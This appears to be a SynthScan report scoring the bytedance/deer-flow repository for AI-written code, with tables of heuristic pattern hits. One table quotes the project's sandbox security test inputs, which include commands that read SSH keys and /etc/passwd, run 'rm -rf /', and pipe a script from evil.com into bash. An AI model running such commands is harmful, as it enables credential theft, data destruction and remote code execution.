Repository Analysis

bytedance/deer-flow

An open-source long-horizon SuperAgent harness that researches, codes, and creates. With the help of sandboxes, memories, tools, skill, subagents and message gateway, it handles different levels of tasks that could take minutes to hours.

35.5 Strong AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of bytedance/deer-flow, a Python project with 81,054 GitHub stars. SynthScan v2.0 examined 630,422 lines of code across 2266 source files, recording 17991 pattern matches distributed across 25 syntactic categories. The overall adjusted score of 35.5 places this repository in the Strong AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

35.5
Adjusted Score
35.5
Raw Score
100%
Time Factor
2026-08-28
Last Push
81.1K
Stars
Python
Language
630.4K
Lines of Code
2.3K
Files
18.0K
Pattern Hits
2026-08-29
Scan Date
0.07
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 4HIGH 153MEDIUM 2099LOW 15735

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 17991 distinct pattern matches across 25 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers12196 hits · 10960 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py153def _host_base_dir_for_extra_mounts() -> str:CODE
LOWdocker/provisioner/app.py174def _normalize_extra_mount_container_path(container_path: str) -> str:CODE
LOWdocker/provisioner/app.py219def _lark_cli_runtime_enabled(provision_lark_cli_runtime: bool) -> bool:CODE
LOWdocker/provisioner/app.py229def _runtime_provided_extra_mounts(CODE
LOWdocker/provisioner/app.py262def _lark_broker_credential_mounts(extra_mounts: list["ExtraMount"] | None) -> dict[str, "ExtraMount"]:CODE
LOWdocker/provisioner/app.py280def _extra_mount_pvc_sub_path(host_path: str) -> str:CODE
LOWdocker/provisioner/app.py476def _build_extra_volume_mounts(extra_mounts: list[ExtraMount] | None = None) -> list[k8s_client.V1VolumeMount]:CODE
LOWdocker/provisioner/app.py719def _build_lark_cli_init_containers(CODE
LOWdocker/provisioner/app.py766def _build_lark_cli_broker_sidecars(CODE
LOWfrontend/tests/unit/core/streamdown-plugins.test.ts35function renderMemorySummaryMarkdown(content: string) {CODE
LOWfrontend/tests/unit/core/threads/stream-options.test.ts3async function captureThreadStreamOptions() {CODE
LOW…tests/unit/core/voice-input/speech-recognition.test.ts98function makeSpeechRecognitionConstructor(): SpeechRecognitionConstructor {CODE
LOWfrontend/tests/unit/hooks/use-global-shortcuts.test.ts5async function loadHookWithCapturedHandler() {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts71async function clickSelectionToolbarButton(page: Page, label: string) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts89async function selectTextAndClickToolbarButton(CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts108async function expectSidecarSelectionToolbarActions(page: Page, text: string) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts134async function expectComposerHeightsEqual(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts163async function expectSidecarModelPinnedToSubmit(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts239async function expectSidecarModelHiddenWhenCompact(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts289async function expectSidecarScrollDoesNotAnimateAfterOpen(page: Page) {CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts325async function openSidecarAndExpectNoAnimatedScroll(page: Page) {CODE
LOWfrontend/tests/e2e/streaming-reasoning-order.spec.ts81async function startHeldOpenStreamServer() {CODE
LOWfrontend/tests/e2e/artifact-batched-stream.spec.ts21function batchedWriteFileStreamFrames() {CODE
LOWfrontend/tests/e2e/artifact-batched-stream.spec.ts107async function startBatchedWriteFileStreamServer() {CODE
LOWfrontend/src/core/clipboard.ts76async function readPlainTextFromClipboardItem(CODE
LOWfrontend/src/core/clipboard.ts103function canDefineNavigatorClipboard(CODE
LOWfrontend/src/core/workspace-changes/summary.ts19export function getWorkspaceChangeBadgeLabel(summary: WorkspaceChangeSummary) {CODE
LOWfrontend/src/core/workspace-changes/summary.ts24export function getWorkspaceChangeLineClass(CODE
LOWfrontend/src/core/settings/store.ts41function ensureStorageListenerRegistered() {CODE
LOWfrontend/src/core/artifacts/loader.ts118export function loadArtifactContentFromToolCall({CODE
LOWfrontend/src/core/artifacts/utils.ts30export function buildWriteFileArtifactURL({CODE
LOWfrontend/src/core/artifacts/utils.ts50function decodeRelativeArtifactPath(filepath: string) {CODE
LOWfrontend/src/core/artifacts/utils.ts76export function extractArtifactsFromThread(thread: {CODE
LOWfrontend/src/core/artifacts/utils.ts89export function resolveMarkdownArtifactURL(src: string, threadId: string) {CODE
LOWfrontend/src/core/artifacts/preview.ts81export function buildWriteFileDraftContent({CODE
LOWfrontend/src/core/artifacts/preview.ts167export function appendHtmlPreviewBaseHref(CODE
LOWfrontend/src/core/artifacts/preview.ts205export function createHtmlPreviewScrollKey(value: string) {CODE
LOWfrontend/src/core/artifacts/preview.ts221function htmlScrollRestorationScript(messageKey: string) {CODE
LOWfrontend/src/core/artifacts/preview.ts264export function appendHtmlPreviewScrollRestoration(CODE
LOWfrontend/src/core/background-tasks/types.ts54export function shouldPollBackgroundTaskDetail(CODE
LOWfrontend/src/core/tasks/subtask-result.ts198export function derivePendingSubtaskStatus(CODE
LOWfrontend/src/core/tasks/subtask-result.ts232function hasStructuredSubagentMetadata(CODE
LOWfrontend/src/core/tasks/subtask-result.ts241function readStructuredResultBrief(CODE
LOWfrontend/src/core/messages/usage-model.ts88export function tokenUsagePreferencesFromPreset(CODE
LOWfrontend/src/core/messages/usage-model.ts212function buildActionLabelsFromAttribution(CODE
LOWfrontend/src/core/messages/usage-model.ts221function describeAttributionAction(CODE
LOWfrontend/src/core/messages/usage-model.ts307function normalizeTokenUsageAttribution(CODE
LOWfrontend/src/core/messages/usage-model.ts345function normalizeTokenUsageAttributionAction(CODE
LOWfrontend/src/core/messages/usage-model.ts430function isTokenUsageAttributionKind(CODE
LOWfrontend/src/core/messages/human-input.ts74export function shouldClearPendingHumanInputOnThreadError({CODE
LOWfrontend/src/core/messages/human-input.ts135export function buildInitialHumanInputFormValues(CODE
LOWfrontend/src/core/messages/human-input.ts390export function extractHumanInputResponse(CODE
LOWfrontend/src/core/messages/human-input.ts421export function deriveHumanInputThreadState(CODE
LOWfrontend/src/core/messages/human-input.ts496export function createHumanInputOptionResponse(CODE
LOWfrontend/src/core/messages/human-input.ts534export function buildHumanInputFormSummary(CODE
LOWfrontend/src/core/messages/human-input.ts550export function buildHumanInputFormSubmissionValue(CODE
LOWfrontend/src/core/messages/human-input.ts569export function createHumanInputTextResponse(CODE
LOWfrontend/src/core/messages/human-input.ts583export function buildHumanInputResponseText(CODE
LOWfrontend/src/core/messages/derived-state.ts88export function deriveStableMessageGroups(CODE
LOWfrontend/src/core/messages/derived-state.ts174export function deriveAssistantTurnUsageState(CODE
12136 more matches not shown…
Decorative Section Separators1851 hits · 6571 pts
SeverityFileLineSnippetContext
MEDIUMconfig.example.yaml13# ============================================================================COMMENT
MEDIUMconfig.example.yaml15# ============================================================================COMMENT
MEDIUMconfig.example.yaml20# ============================================================================COMMENT
MEDIUMconfig.example.yaml22# ============================================================================COMMENT
MEDIUMconfig.example.yaml51# ============================================================================COMMENT
MEDIUMconfig.example.yaml53# ============================================================================COMMENT
MEDIUMconfig.example.yaml59# ============================================================================COMMENT
MEDIUMconfig.example.yaml61# ============================================================================COMMENT
MEDIUMconfig.example.yaml68# ============================================================================COMMENT
MEDIUMconfig.example.yaml70# ============================================================================COMMENT
MEDIUMconfig.example.yaml83# ============================================================================COMMENT
MEDIUMconfig.example.yaml85# ============================================================================COMMENT
MEDIUMconfig.example.yaml95# ============================================================================COMMENT
MEDIUMconfig.example.yaml97# ============================================================================COMMENT
MEDIUMconfig.example.yaml708# ============================================================================COMMENT
MEDIUMconfig.example.yaml710# ============================================================================COMMENT
MEDIUMconfig.example.yaml1118# ============================================================================COMMENT
MEDIUMconfig.example.yaml1120# ============================================================================COMMENT
MEDIUMconfig.example.yaml1148# ============================================================================COMMENT
MEDIUMconfig.example.yaml1150# ============================================================================COMMENT
MEDIUMconfig.example.yaml1159# ============================================================================COMMENT
MEDIUMconfig.example.yaml1161# ============================================================================COMMENT
MEDIUMconfig.example.yaml1221# ============================================================================COMMENT
MEDIUMconfig.example.yaml1223# ============================================================================COMMENT
MEDIUMconfig.example.yaml1232# ============================================================================COMMENT
MEDIUMconfig.example.yaml1234# ============================================================================COMMENT
MEDIUMconfig.example.yaml1699# ============================================================================COMMENT
MEDIUMconfig.example.yaml1701# ============================================================================COMMENT
MEDIUMconfig.example.yaml1717# ============================================================================COMMENT
MEDIUMconfig.example.yaml1719# ============================================================================COMMENT
MEDIUMconfig.example.yaml1728# ============================================================================COMMENT
MEDIUMconfig.example.yaml1730# ============================================================================COMMENT
MEDIUMconfig.example.yaml1992# ============================================================================COMMENT
MEDIUMconfig.example.yaml1994# ============================================================================COMMENT
MEDIUMconfig.example.yaml2000# ============================================================================COMMENT
MEDIUMconfig.example.yaml2002# ============================================================================COMMENT
MEDIUMconfig.example.yaml2009# ============================================================================COMMENT
MEDIUMconfig.example.yaml2011# ============================================================================COMMENT
MEDIUMconfig.example.yaml2542# ============================================================================COMMENT
MEDIUMconfig.example.yaml2544# ============================================================================COMMENT
MEDIUMconfig.example.yaml2577# ============================================================================COMMENT
MEDIUMconfig.example.yaml2579# ============================================================================COMMENT
MEDIUMconfig.example.yaml33# ============================================================================COMMENT
MEDIUMconfig.example.yaml35# ============================================================================COMMENT
MEDIUMconfig.example.yaml695# ============================================================================COMMENT
MEDIUMconfig.example.yaml697# ============================================================================COMMENT
MEDIUMconfig.example.yaml1102# ============================================================================COMMENT
MEDIUMconfig.example.yaml1104# ============================================================================COMMENT
MEDIUMconfig.example.yaml1173# ============================================================================COMMENT
MEDIUMconfig.example.yaml1175# ============================================================================COMMENT
MEDIUMconfig.example.yaml1196# ============================================================================COMMENT
MEDIUMconfig.example.yaml1198# ============================================================================COMMENT
MEDIUMconfig.example.yaml1267# ============================================================================COMMENT
MEDIUMconfig.example.yaml1269# ============================================================================COMMENT
MEDIUMconfig.example.yaml1517# ============================================================================COMMENT
MEDIUMconfig.example.yaml1519# ============================================================================COMMENT
MEDIUMconfig.example.yaml1622# ============================================================================COMMENT
MEDIUMconfig.example.yaml1624# ============================================================================COMMENT
MEDIUMconfig.example.yaml1637# ============================================================================COMMENT
MEDIUMconfig.example.yaml1639# ============================================================================COMMENT
1791 more matches not shown…
Unused Imports1213 hits · 1133 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py30CODE
LOWbackend/sitecustomize.py8CODE
LOWbackend/app/subagent_batches/service.py3CODE
LOWbackend/app/subagent_batches/__init__.py1CODE
LOWbackend/app/scheduler/service.py1CODE
LOWbackend/app/scheduler/__init__.py1CODE
LOWbackend/app/mcp_tasks/service.py1CODE
LOWbackend/app/mcp_tasks/__init__.py1CODE
LOWbackend/app/gateway/browser_capability.py3CODE
LOWbackend/app/gateway/deps.py18CODE
LOWbackend/app/gateway/services.py8CODE
LOWbackend/app/gateway/context_usage.py3CODE
LOWbackend/app/gateway/__init__.py1CODE
LOWbackend/app/gateway/__init__.py1CODE
LOWbackend/app/gateway/auth_disabled.py3CODE
LOWbackend/app/gateway/internal_auth.py3CODE
LOWbackend/app/gateway/pagination.py3CODE
LOWbackend/app/gateway/run_models.py3CODE
LOWbackend/app/gateway/checkpoint_lineage.py3CODE
LOWbackend/app/gateway/authz.py30CODE
LOWbackend/app/gateway/trace_middleware.py3CODE
LOWbackend/app/gateway/routers/subagents.py3CODE
LOWbackend/app/gateway/routers/thread_runs.py12CODE
LOWbackend/app/gateway/routers/scheduled_tasks.py1CODE
LOWbackend/app/gateway/routers/feedback.py7CODE
LOWbackend/app/gateway/routers/channel_connections.py3CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/__init__.py1CODE
LOWbackend/app/gateway/routers/assistants_compat.py10CODE
LOWbackend/app/gateway/routers/subagent_batches.py3CODE
LOWbackend/app/gateway/routers/threads.py13CODE
LOWbackend/app/gateway/routers/mcp_tasks.py3CODE
LOWbackend/app/gateway/routers/channels.py3CODE
LOWbackend/app/gateway/routers/github_webhooks.py26CODE
LOWbackend/app/gateway/routers/runs.py8CODE
LOWbackend/app/gateway/auth/oidc.py7CODE
LOWbackend/app/gateway/auth/oidc_state.py8CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py9CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py10CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py11CODE
LOWbackend/app/gateway/auth/__init__.py12CODE
LOWbackend/app/gateway/auth/__init__.py13CODE
LOWbackend/app/gateway/auth/__init__.py13CODE
1153 more matches not shown…
Excessive Try-Catch Wrapping989 hits · 950 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py309 except Exception as exc:CODE
LOWdocker/provisioner/app.py315 except Exception as exc:CODE
LOWbackend/debug.py89 except Exception as e:CODE
LOWbackend/debug.py160 except Exception as e:CODE
LOWbackend/app/scheduler/service.py294 except Exception as exc:CODE
LOWbackend/app/scheduler/service.py328 except Exception:CODE
LOWbackend/app/scheduler/service.py354 except Exception:CODE
LOWbackend/app/scheduler/service.py559 except Exception:CODE
LOWbackend/app/scheduler/service.py568 except Exception:CODE
LOWbackend/app/scheduler/service.py583 except Exception:CODE
LOWbackend/app/scheduler/service.py593 except Exception:CODE
LOWbackend/app/scheduler/service.py607 except Exception:CODE
LOWbackend/app/mcp_tasks/service.py154 except Exception:CODE
LOWbackend/app/mcp_tasks/service.py342 except Exception as exc: # noqa: BLE001 - remote cancellation is retryableCODE
LOWbackend/app/mcp_tasks/service.py385 except Exception: # noqa: BLE001 - retain the original task-scoped failureCODE
LOWbackend/app/mcp_tasks/service.py481 except Exception as exc: # noqa: BLE001 - retry the same idempotency keyCODE
LOWbackend/app/mcp_tasks/service.py532 except Exception as exc: # noqa: BLE001 - driver boundary; retry on the next pollCODE
LOWbackend/app/mcp_tasks/service.py668 except Exception:CODE
MEDIUMbackend/app/gateway/deps.py425def reset_notify_loop_safely() -> None:CODE
LOWbackend/app/gateway/deps.py185 except Exception:CODE
LOWbackend/app/gateway/deps.py188 except Exception:CODE
LOWbackend/app/gateway/deps.py232 except Exception:CODE
LOWbackend/app/gateway/deps.py305 except Exception:CODE
LOWbackend/app/gateway/deps.py312 except Exception:CODE
LOWbackend/app/gateway/deps.py208 except Exception:CODE
LOWbackend/app/gateway/deps.py212 except Exception:CODE
LOWbackend/app/gateway/deps.py363 except Exception as exc: # noqa: BLE001 - request boundary: log and degrade gracefullyCODE
LOWbackend/app/gateway/deps.py421 except Exception:CODE
LOWbackend/app/gateway/deps.py428 except Exception:CODE
LOWbackend/app/gateway/services.py207 except Exception:CODE
LOWbackend/app/gateway/services.py467 except Exception:CODE
LOWbackend/app/gateway/services.py590 except Exception:CODE
LOWbackend/app/gateway/services.py164 except Exception:CODE
LOWbackend/app/gateway/services.py623 except Exception:CODE
LOWbackend/app/gateway/services.py838 except Exception:CODE
LOWbackend/app/gateway/services.py945 except Exception:CODE
LOWbackend/app/gateway/services.py985 except Exception:CODE
LOWbackend/app/gateway/services.py1087 except Exception as exc:CODE
LOWbackend/app/gateway/services.py1314 except Exception as exc:CODE
LOWbackend/app/gateway/services.py1411 except Exception as exc:CODE
LOWbackend/app/gateway/context_usage.py39 except Exception:CODE
LOWbackend/app/gateway/context_usage.py72 except Exception:CODE
LOWbackend/app/gateway/context_usage.py78 except Exception:CODE
LOWbackend/app/gateway/app.py450 except Exception:CODE
LOWbackend/app/gateway/app.py456 except Exception:CODE
LOWbackend/app/gateway/app.py463 except Exception:CODE
LOWbackend/app/gateway/app.py140 except Exception:CODE
LOWbackend/app/gateway/app.py189 except Exception:CODE
LOWbackend/app/gateway/app.py221 except Exception as e:CODE
LOWbackend/app/gateway/app.py241 except Exception: # observability must never break startupCODE
LOWbackend/app/gateway/app.py261 except Exception:CODE
LOWbackend/app/gateway/app.py289 except Exception:CODE
LOWbackend/app/gateway/app.py296 except Exception:CODE
LOWbackend/app/gateway/app.py325 except Exception:CODE
LOWbackend/app/gateway/app.py347 except Exception:CODE
LOWbackend/app/gateway/app.py434 except Exception:CODE
LOWbackend/app/gateway/app.py477 except Exception:CODE
LOWbackend/app/gateway/app.py498 except Exception:CODE
LOWbackend/app/gateway/app.py546 except Exception:CODE
LOWbackend/app/gateway/app.py564 except Exception:CODE
929 more matches not shown…
Cross-Language Confusion84 hits · 518 pts
SeverityFileLineSnippetContext
HIGHbackend/debug.py10 cd backend && PYTHONPATH=. uv run python debug.pySTRING
HIGHbackend/tests/test_sandbox_tools_security.py546 ("ls /mnt/user-data && pwd", "ls /tmp/deer-flow/threads/t1/user-data && pwd"),CODE
HIGHbackend/tests/test_sandbox_tools_security.py569 "cd /mnt/user-data/workspace && git clone https://github.com/CherryHQ/cherry-studio.git",CODE
HIGHbackend/tests/test_sandbox_tools_security.py584 "/bin/echo ok > /mnt/user-data/workspace/out.txt && cat /dev/null",CODE
HIGHbackend/tests/test_sandbox_tools_security.py634 validate_local_bash_command_paths("cd $HOME && cat .ssh/id_rsa", _THREAD_DATA)CODE
HIGHbackend/tests/test_sandbox_tools_security.py639 validate_local_bash_command_paths("echo ok\ncd $HOME && cat .ssh/id_rsa", _THREAD_DATA)CODE
HIGHbackend/tests/test_sandbox_tools_security.py646 "builtin cd $HOME && cat .ssh/id_rsa",CODE
HIGHbackend/tests/test_sandbox_tools_security.py649 'echo "$(cd $HOME && cat .ssh/id_rsa)"',CODE
HIGHbackend/tests/test_sandbox_tools_security.py661 "ln -s / root && cat root/etc/passwd",CODE
HIGHbackend/tests/test_sandbox_tools_security.py683 "mkdir -p reports && python script.py data/input.csv > reports/out.txt",CODE
HIGHbackend/tests/test_sandbox_tools_security.py690 "cd /mnt/user-data/workspace && cat data/input.csv > reports/out.txt",CODE
HIGHbackend/tests/test_tool_result_meta.py343 content = '{"error": null, "query": "test"}'CODE
HIGHbackend/tests/test_run_worker_rollback.py233 assert batcher.push((first, {})) == []CODE
HIGHbackend/tests/test_run_worker_rollback.py234 published = batcher.push((continuation, {}))CODE
HIGHbackend/tests/test_run_worker_rollback.py271 assert batcher.push((visible_text, {})) == [(visible_text, {})]CODE
HIGHbackend/tests/test_run_worker_rollback.py272 assert batcher.push((search_tool, {})) == [(search_tool, {})]CODE
HIGHbackend/tests/test_run_worker_rollback.py273 visible_reasoning = batcher.push((write_with_reasoning, {}))CODE
HIGHbackend/tests/test_run_worker_rollback.py297 assert batcher.push((first, {"langgraph_checkpoint_ns": "task-a"})) == []CODE
HIGHbackend/tests/test_run_worker_rollback.py298 published = batcher.push((second, {"langgraph_checkpoint_ns": "task-b"}))CODE
HIGHbackend/tests/test_run_worker_rollback.py369 assert batcher.push((name_prefix, {})) == [(name_prefix, {})]CODE
HIGHbackend/tests/test_run_worker_rollback.py371 assert len(batcher.push((name_suffix, {}))) == 1CODE
HIGHbackend/tests/test_run_worker_rollback.py395 assert len(batcher.push((first, {}))) == 1CODE
HIGHbackend/tests/test_run_worker_rollback.py396 assert len(batcher.push((continuation, {}))) == 1CODE
HIGHbackend/tests/test_run_worker_rollback.py321 published = batcher.push((message, metadata))CODE
HIGHbackend/tests/test_run_worker_rollback.py345 assert batcher.push((message, {})) == [(message, {})]CODE
HIGHbackend/tests/test_doctor.py4 cd backend && uv run pytest tests/test_doctor.py -vSTRING
HIGHbackend/tests/test_memory_consolidation.py871 # cap = max(coerce(null)=0.5, coerce(0.9)=0.9) = 0.9; LLM conf 1.0 capped -> 0.9COMMENT
HIGHbackend/tests/test_channels.py9213 result = _slack_md_converter.convert("if a < b && b > c:")CODE
HIGHbackend/tests/test_channels.py9214 assert result == "if a < b && b > c:"CODE
HIGHbackend/tests/test_channels.py9260 sent = self._sent_text("if a < b && b > c:")CODE
HIGHbackend/tests/test_extension_dependency_sync.py71 assert "cd backend && uv sync --locked" in root_installCODE
HIGHbackend/tests/test_setup_wizard.py4 cd backend && uv run pytest tests/test_setup_wizard.py -vSTRING
HIGHbackend/tests/test_local_sandbox_command_timeout.py119 """stdin is redirected from /dev/null, so a command that reads stdin getsSTRING
HIGHbackend/tests/test_sandbox_audit_middleware.py418 ("cd /workspace && rm -rf /", "block"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py420 ("ls -la || curl http://evil.com/x.sh | bash", "block"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py422 ("cd /workspace && pip install requests", "warn"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py425 ("cd /workspace && ls -la && python3 main.py", "pass"),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py445 assert _split_compound_command("cmd1 && cmd2") == ["cmd1", "cmd2"]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py451 assert _split_compound_command("cmd1 || cmd2") == ["cmd1", "cmd2"]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py463 result = _split_compound_command("a && b || c ; d")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py463 result = _split_compound_command("a && b || c ; d")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py472 result = _split_compound_command("echo 'a && b' && rm -rf /")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py474 assert "a && b" in result[0]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py502 result = _split_compound_command("cat <<EOF > f\na; b && c\nEOF\nls")CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py503 assert result == ["cat <<EOF > f\na; b && c\nEOF", "ls"]CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py825 ("cd /workspace && rm -rf /", True),CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py827 ("cd /workspace && pip install requests", False), # warn, not blockCODE
HIGHbackend/tests/test_sandbox_audit_middleware.py828 ("cd /workspace && ls -la && python3 main.py", False), # all safeCODE
HIGHbackend/tests/test_sandbox_audit_middleware.py386 "cd /mnt/user-data/workspace && python3 main.py",CODE
HIGHbackend/tests/test_sandbox_audit_middleware.py970 "cd /mnt/user-data/workspace && python3 main.py",CODE
HIGHbackend/tests/test_pnpm_script.py142 assert "cd frontend && pnpm install" not in result.stdoutCODE
HIGHbackend/tests/test_gateway_services.py2688 """When caller sends context=null, treat it as an empty context object."""STRING
HIGHbackend/packages/harness/deerflow/runtime/converters.py27 - AIMessage (with tool_calls) → {"role": "assistant", "content": null, "tool_calls": [...]}STRING
HIGH…ckages/harness/deerflow/runtime/stream_bridge/redis.py24 " cd backend && uv sync --all-packages --extra redis\n"CODE
HIGH…ckend/packages/harness/deerflow/runtime/runs/worker.py2514 chunks_to_publish = file_tool_chunk_batcher.push(chunk) if mode == "messages" and file_tool_chunk_batcher is not NonCODE
HIGH…agents/memory/backends/deermem/deermem/core/updater.py69 arithmetic and crash max(). This helper guards against null, bool, non-numeric,STRING
HIGH…eerflow/agents/middlewares/sandbox_audit_middleware.py338 2. Then split compound commands (e.g. ``cmd1 && cmd2 ; cmd3``) andSTRING
HIGH…ow/agents/middlewares/tool_output_budget_middleware.py205 check = sandbox.execute_command(f"test -s {shlex.quote(virtual_path)} && echo OK || echo MISSING")CODE
HIGHbackend/packages/harness/deerflow/sandbox/tools.py1217 and device references (e.g. /bin/sh, /dev/null).STRING
HIGH…d/packages/harness/deerflow/persistence/json_compat.py64 Missing keys differ from explicit JSON null, booleans differ from integers,STRING
24 more matches not shown…
Modern Structural Boilerplate396 hits · 406 pts
SeverityFileLineSnippetContext
LOWdocker/provisioner/app.py50logger = logging.getLogger(__name__)CODE
LOWbackend/debug.py37def _setup_logging(log_level: int = logging.INFO) -> None:CODE
LOWbackend/app/subagent_batches/service.py5__all__ = ["SubagentBatchService"]CODE
LOWbackend/app/subagent_batches/__init__.py3__all__ = ["SubagentBatchService"]CODE
LOWbackend/app/scheduler/service.py17logger = logging.getLogger(__name__)CODE
LOWbackend/app/scheduler/__init__.py3__all__ = ["ScheduledTaskService"]CODE
LOWbackend/app/mcp_tasks/service.py31logger = logging.getLogger(__name__)CODE
LOWbackend/app/mcp_tasks/__init__.py3__all__ = ["McpTaskService"]CODE
LOWbackend/app/gateway/deps.py37logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/services.py81logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/langgraph_studio.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/context_usage.py14logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/__init__.py3__all__ = ["app", "create_app", "GatewayConfig", "get_gateway_config"]CODE
LOWbackend/app/gateway/auth_disabled.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/app.py60logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/authz.py53logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/trace_middleware.py20logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/auth.py41logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/auth.py156def _set_session_cookie(response: Response, token: str, request: Request, *, remember_me: bool | None = None) -> None:CODE
LOWbackend/app/gateway/routers/auth.py587def _set_csrf_cookie(response: Response, request: Request) -> None:CODE
LOWbackend/app/gateway/routers/console.py31logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/suggestions.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/models.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/skills.py37logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/thread_runs.py49logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/feedback.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/channel_connections.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/__init__.py17__all__ = [CODE
LOWbackend/app/gateway/routers/agents.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/browser.py16logger = logging.getLogger(__name__)CODE
